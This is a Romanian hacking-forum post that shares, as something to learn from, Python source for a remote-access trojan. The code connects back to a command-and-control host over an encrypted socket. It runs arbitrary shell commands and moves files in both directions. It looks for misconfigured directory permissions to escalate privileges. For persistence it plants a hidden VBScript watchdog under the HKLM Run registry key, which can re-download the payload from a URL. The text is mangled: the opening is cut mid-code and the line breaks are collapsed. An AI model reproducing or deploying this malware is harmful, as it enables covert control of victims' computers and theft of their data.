MadAgent Posted June 7, 2014 Report Posted June 7, 2014 Poate are cineva de invatat din el.C&C-ul era jos cand verificasem eu.Mi-a placut cum verifica privilegiile si mai mult de atat, ca trimite datele criptat.Multumesc lui @Echo %a >> p1.txt') xv = Exec('for /f eol^=^"^ delims^=^" %a in (p1.txt) do cmd.exe /c icacls "%a" >> p2.txt') time.sleep(40) ap = 0 bp = 0 dp = open('p2.txt') lines = dp.readlines() for line in lines: cp = 0 while cp < len(permatch): j = line.find(permatch[cp]) if j != -1: if permbool == False: privinfo += 'The following directories have write access:\n\n' permbool = True bp = ap while True: if len(lines[bp].split('\\')) > 2: while bp <= ap: privinfo += lines[bp] bp += 1 break else: bp -= 1 cp += 1 ap += 1 time.sleep(4) if permbool == True: privinfo += '\nReplace executable with Python shell.\n' if permbool == False: privinfo += '\nNo directories with misconfigured premissions found.\n' dp.close() xv = Exec('del p1.txt') xv = Exec('del p2.txt') return privinfodef Persist(sock, redown=None, newdir=None): if os.name == 'nt': privscheck = Exec('reg query "HKU\S-1-5-19" | find "error"') if privscheck != '': return "You must be authority\system to enable persistence.\n" else: exedir = os.path.join(sys.path[0], sys.argv[0]) exeown = exedir.split('\\')[-1] vbsdir = os.getcwd() + '\\' + 'hkcmds.vbs' if redown == None: vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nWhile state = 1\nexist = ReportFileStatus(wshname)\nIf exist = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nElse\nWshShell.Run """' + exedir + '""",hidden\nwscript.sleep 50000\nEnd If\nvFound = False\nElse\nwscript.sleep 50000\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\n' else: if newdir == None: newdir = exedir newexe = exeown else: newexe = newdir.split('\\')[-1] vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nurlname = "' + redown + '"\ndirname = "' + newdir + '"\nWhile state = 1\nexist1 = ReportFileStatus(wshname)\nexist2 = ReportFileStatus(dirname)\nIf exist1 = False And exist2 = False then\ndownload urlname, dirname\nEnd If\nIf exist1 = True Or exist2 = True then\nif exist1 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nexist2 = False\nend if\nif exist2 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(dirname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" OR objProcess.name = "' + newexe + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nEnd If\nIf vFound = False then\nIf exist1 = True then\nWshShell.Run """' + exedir + '""",hidden\nEnd If\nIf exist2 = True then\nWshShell.Run """' + dirname + '""",hidden\nEnd If\nwscript.sleep 50000\nEnd If\nvFound = False\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\nfunction download(sFileURL, sLocation)\nSet objXMLHTTP = CreateObject("MSXML2.XMLHTTP")\nobjXMLHTTP.open "GET", sFileURL, false\nobjXMLHTTP.send()\ndo until objXMLHTTP.Status = 200 : wscript.sleep(1000) : loop\nIf objXMLHTTP.Status = 200 Then\nSet objADOStream = CreateObject("ADODB.Stream")\nobjADOStream.Open\nobjADOStream.Type = 1\nobjADOStream.Write objXMLHTTP.ResponseBody\nobjADOStream.Position = 0\nSet objFSO = Createobject("Scripting.FileSystemObject")\nIf objFSO.Fileexists(sLocation) Then objFSO.DeleteFile sLocation\nSet objFSO = Nothing\nobjADOStream.SaveToFile sLocation\nobjADOStream.Close\nSet objADOStream = Nothing\nEnd if\nSet objXMLHTTP = Nothing\nEnd function\n' vbs = open('hkcmds.vbs', 'wb') vbs.write(vbscript) vbs.close() persist = Exec('reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v hkcmds /t REG_SZ /d "' + vbsdir + '"') persist += '\nPersistence complete.\n' return persistdef Exec(cmde): if cmde: execproc = subprocess.Popen(cmde, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) cmdoutput = execproc.stdout.read() + execproc.stderr.read() return cmdoutput else: return "Enter a command.\n"while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) cipher = AES.new(secret,AES.MODE_CFB) data = Receive(s) if data == 'Activate': active = True Send(s, "\n"+os.getcwd()+">") while active: data = Receive(s) if data == '': time.sleep(0.02) if data == "quit" or data == "terminate": Send(s, "quitted") break elif data.startswith("cd ") == True: try: os.chdir(data[3:]) stdoutput = "" except: stdoutput = "Error opening directory.\n" elif data.startswith("download") == True: stdoutput = Upload(s, data[9:]) elif data.startswith("downhttp") == True: stdoutput = Downhttp(s, data[9:]) elif data.startswith("upload") == True: stdoutput = Download(s, data[7:]) elif data.startswith("privs") == True: stdoutput = Privs(s) elif data.startswith("persist") == True: if len(data.split(' ')) == 1: stdoutput = Persist(s) elif len(data.split(' ')) == 2: stdoutput = Persist(s, data.split(' ')[1]) elif len(data.split(' ')) == 3: stdoutput = Persist(s, data.split(' ')[1], data.split(' ')[2]) else: stdoutput = Exec(data) stdoutput = stdoutput+"\n"+os.getcwd()+">" Send(s, stdoutput) if data == "terminate": break time.sleep(3) except socket.error: s.close() time.sleep(10) continue Quote